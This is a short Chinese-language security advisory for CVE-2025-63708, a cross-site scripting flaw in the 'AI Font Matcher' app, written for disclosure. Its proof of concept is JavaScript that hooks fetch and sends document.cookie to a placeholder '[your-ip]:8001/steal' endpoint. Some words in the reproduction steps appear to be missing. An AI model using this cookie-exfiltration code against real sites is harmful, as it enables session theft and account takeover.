关键信息 CVE ID: CVE-2025-63708 问题类型: CWE-79 (跨站脚本攻击) 受影响产品: "AI Font Matcher" 产品页面: SourceCodester 发现日期: 2025-10-11 研究人员: Dylan Davis 概要 应用程序在未对字体系列名称进行清理的情况下处理从 fetch 获取的数据,允许攻击者注入在页面上下文中执行的 JavaScript,从而导致会话 Cookie 被窃取和账户接管。 影响 受害者浏览器中任意 JavaScript 执行 会话 Cookie 泄露(观察到非 HttpOnly Cookie) 账户劫持和代表用户执行的操作 影响范围/范围 截至 2025-10-10 在 SourceCodester 上分发的 "AI Font Matcher" 包 复现 (PoC) 此 PoC 通过挂钩 并返回一个受控的 Web Fonts 载荷来演示代码执行。 1. 从下载的源代码中本地运行应用程序。 2. 打开 DevTools -> Console 并粘贴下面的 PoC(或加载 )。 3. 触发获取 的 UI;观察 。 ```javascript window.__origFetch = window.fetch; window.fetch = async function(input, init) { const url = (typeof input === 'string') ? input : input?.url; if (url && url.includes('webfonts')) { // 泄露 Cookie 到你的服务器 fetch('http://[your-ip]:8001/steal?cookie=' + encodeURIComponent(document.cookie)) .catch(e => console.log('Exfil failed:', e)); return new Response(JSON.stringify({ kind: "webfonts#webfontList", items: [{ family: "Playfair Display", category: "serif" }] }), { status: 200, headers: {'Content-Type': 'application/json'} }); } return window.__origFetch.apply(this, arguments); };